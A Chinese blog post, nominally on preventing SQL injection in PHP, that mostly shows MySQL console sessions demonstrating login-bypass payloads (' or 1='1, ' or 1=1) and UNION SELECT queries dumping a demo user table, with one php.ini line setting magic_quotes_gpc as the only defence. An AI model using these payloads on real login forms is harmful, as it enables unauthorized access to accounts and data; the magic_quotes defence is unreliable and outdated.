PHP-防止SQL注入
原创woxuewangluo 博主文章分类:APP运维文档 ©著作权
©著作权归作者所有:来自51CTO博客作者woxuewangluo的原创作品,请联系作者获取转载授权,否则将追究法律责任
php.ini配置
magic_quotes_gpc = On
万能密码:
mysql> select * from user where username='wang' and password='123';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
+--------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where username='wang' and password='12';
Empty set (0.00 sec)
mysql> select * from user where username='wang' and password='aa' or 1='1';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 2 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.01 sec)
mysql> select * from user where username='wa' and password='aa' or 1='1';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 2 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
万能用户名:
mysql> select * from user where username='sjdlf' or 1=1 ;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 2 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='sjdlf' or 1=1 and password='123';
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' union select * from user where userid=2;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' union all select * from user where userid=2;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='123' union all select * from user where userid=2;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
+--------+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='123' union all select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
4 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='123' union select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='wang' and password='321' union select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='wd' and password='321' union select * from user;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | wang | 123 |
| 2 | yong | 123 |
| 3 | ke | 321 |
+--------+----------+----------+
3 rows in set (0.00 sec)
mysql>
下一篇:快捷键组合大全
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
PHP防止SQL注入方法
PHP防SQL注入方法
sql注入 PHP 数据库 PDO 数组 -
PHP-解决sql注入攻击的方法
收起来注入
email criteria password -
PHP 防止SQL注入的方法
mysql_real_escape_string()
php 数据库 mysql sql 用户名